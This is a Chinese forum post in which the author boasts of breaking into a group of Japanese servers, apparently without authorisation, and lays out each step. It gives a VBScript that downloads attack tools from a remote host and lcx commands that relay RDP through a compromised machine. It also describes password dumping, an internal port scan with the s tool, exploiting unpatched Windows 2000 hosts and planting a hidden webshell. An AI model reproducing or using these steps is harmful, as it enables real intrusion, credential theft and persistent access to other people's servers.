从注入到渗透日本服务器群
因为这一局，渗透获取整个服务器群的权限，N台服务器。所以写篇文章小小虚荣下。^0^开局：
入手点是一个注射点：sa，内网, 轻车熟路写个vbs脚本，下好lcx，转发端口。
[table=95%][tr][td]down.vbs
[color=#000000][font=新宋体][color=#0000bb]iLocal [/color][color=#007700]= [/color][color=#0000bb]LCase[/color][color=#007700]([/color][color=#0000bb]WScript[/color][color=#007700].[/color][color=#0000bb]Arguments[/color][color=#007700]([/color][color=#0000bb]1[/color][/font][font=新宋体][color=#007700]))
[/color][color=#0000bb]iRemote [/color][color=#007700]= [/color][color=#0000bb]LCase[/color][color=#007700]([/color][color=#0000bb]WScript[/color][color=#007700].[/color][color=#0000bb]Arguments[/color][color=#007700]([/color][color=#0000bb]0[/color][/font][font=新宋体][color=#007700]))
[/color][color=#0000bb]Set xPost [/color][color=#007700]= [/color][color=#0000bb]CreateObject[/color][color=#007700]([/color][color=#dd0000]"Microsoft.XMLHTTP"[/color][/font][font=新宋体][color=#007700])
[/color][color=#0000bb]xPost[/color][color=#007700].[/color][color=#0000bb]Open [/color][color=#dd0000]"GET"[/color][color=#007700],[/color][color=#0000bb]iRemote[/color][color=#007700],[/color][/font][font=新宋体][color=#0000bb]0
xPost[/color][color=#007700].[/color][color=#0000bb]Send[/color][/font][font=新宋体][color=#007700]()
[/color][color=#0000bb]Set sGet [/color][color=#007700]= [/color][color=#0000bb]CreateObject[/color][color=#007700]([/color][color=#dd0000]"ADODB.Stream"[/color][/font][font=新宋体][color=#007700])
[/color][color=#0000bb]sGet[/color][color=#007700].[/color][color=#0000bb]Mode [/color][color=#007700]= [/color][/font][font=新宋体][color=#0000bb]3
sGet[/color][color=#007700].[/color][color=#0000bb]Type [/color][color=#007700]= [/color][/font][font=新宋体][color=#0000bb]1
sGet[/color][color=#007700].[/color][color=#0000bb]Open[/color][/font][font=新宋体][color=#007700]()
[/color][color=#0000bb]sGet[/color][color=#007700].[/color][color=#0000bb]Write[/color][color=#007700]([/color][color=#0000bb]xPost[/color][color=#007700].[/color][color=#0000bb]responseBody[/color][/font][font=新宋体][color=#007700])
[/color][color=#0000bb]sGet[/color][color=#007700].[/color][color=#0000bb]SaveToFile iLocal[/color][color=#007700],[/color][color=#0000bb]2[/color] [/font][/color]
use: cscript down.vbs http://ip/lcx.exe lcx.exe (路径默认在system32下)[/td][/tr][/table]
这个下载脚本可以重复使用，也不会暴露我存放工具的地址。（有些下载脚本把下载地址写在里面，个人觉得不很好。）
由于本机连接日本网络比较慢。连拨两个VPN,再登上日本本土的一台肉鸡（我想这样速度不会差了，ps：肉鸡的作用体现出来了）。
加了用户。在肉鸡终端：lcx -listen 520 1982,目标机：lcx -slave myip 520 127.0.0.1 3389
ok,终端里填：127.0.0.1:1982 顺利登陆。
中盘：
win2000系统，mssql server
先抓个系统密码，找下sql密码。查看了下一些信息，并检查是否还有同行的后门，清除之。
分析了下密码:(数字＋机器名＋数字)
其他都是鸟语也看不太明白。载了几个基本工具放个隐藏目录。
ps：一般进去后总得收拾下，最好不要种马。死得快，也易暴露。
这时候就盘算着怎么拿web的权限了。（分析网络拓扑结构了）
先看下网上邻居：
workgroup
C**SQL2006
B**-DB
B***TENDB
....
很明显，都是数据库服务器。
再往上一层，又发现一个工作组：
web-k.**.jp
c***oo_db
...
日，还是数据库服务器。
ipconfig /all
192.168.10.18 只有一个内网ip
ok：s tcp 192.168.10.1 192.168.10.254 80 20 /save
用s扫下内网开80的机子，线程设置为20，讲究精确度嘛。
很遗憾，结果出来的几个机子都是数据库服务器，上面并没有网站。
我就纳闷了，web服务器跑哪了呢？
收工：
翻了一阵子，仔细分析了网络拓扑结构。最后让我找到了：
192.168.1.1-255这段是web服务器群
接下来，用s果然扫出一片。再对应外网ip，挑选溢出的下手对象（192.168.1.19）（倭奴喜欢古董级的win2000，好多补丁都不全，好溢出）
很舒坦地日下来，然后载个webshell放到web目录的偏僻角落。擦擦屁股走人。 顶一下!!!
注入
我想看一些SQL注入的教程。最好最动画。我还没看过你做的教程呢页:
[1]